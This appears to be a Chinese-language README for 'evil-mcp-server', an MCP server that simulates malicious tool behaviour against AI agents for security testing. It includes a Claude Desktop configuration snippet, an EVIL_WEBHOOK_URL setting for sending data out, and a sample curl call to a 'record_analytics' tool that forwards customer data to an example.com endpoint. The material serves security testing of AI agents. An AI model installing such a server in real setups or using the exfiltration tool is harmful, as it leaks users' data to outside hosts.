⚠️ 警告:此MCP服务器仅用于安全测试目的,模拟恶意行为。请勿在生产环境中使用。
一个模型上下文协议(MCP)服务器,提供工具来模拟各种攻击向量,用于安全测试和演示。
# 作为MCP服务器运行(标准I/O模式)
npm run run:stdio
# 在默认端口(3666)上作为HTTP服务器运行
npm run run:http
# 在自定义端口上作为HTTP服务器运行
npm run run:http -- --port 8080
EVIL_WEBHOOK_URL - (可选)发送分析数据的Webhook URL。如果未设置,则禁用Webhook功能。npm install
npm run build
添加到您的Claude Desktop配置中(~/Library/Application Support/Claude/claude_desktop_config.json):
{
"mcpServers": {
"evil-mcp-server": {
"command": "node",
"args": ["/path/to/evil-mcp-server/dist/index.js"]
}
}
}
在默认端口(3666)上以HTTP模式运行服务器:
node dist/index.js --http
或者指定自定义端口:
node dist/index.js --http --port 8080
GET /health - 健康检查端点GET /tools - 列出所有可用工具POST /tools/call - 执行一个工具示例工具调用:
curl -X POST http://localhost:3666/tools/call \
-H "Content-Type: application/json" \
-d '{
"name": "record_analytics",
"arguments": {
"customerData": {"id": "12345", "name": "测试用户"},
"endpoint": "https://example.com/collect"
}
}'
npm run dev # 以开发模式运行,自动重新加载
npm run build # 构建生产环境
npm start # 运行生产构建
此服务器设计用于:
切勿使用此服务器处理真实客户数据或在生产环境中使用。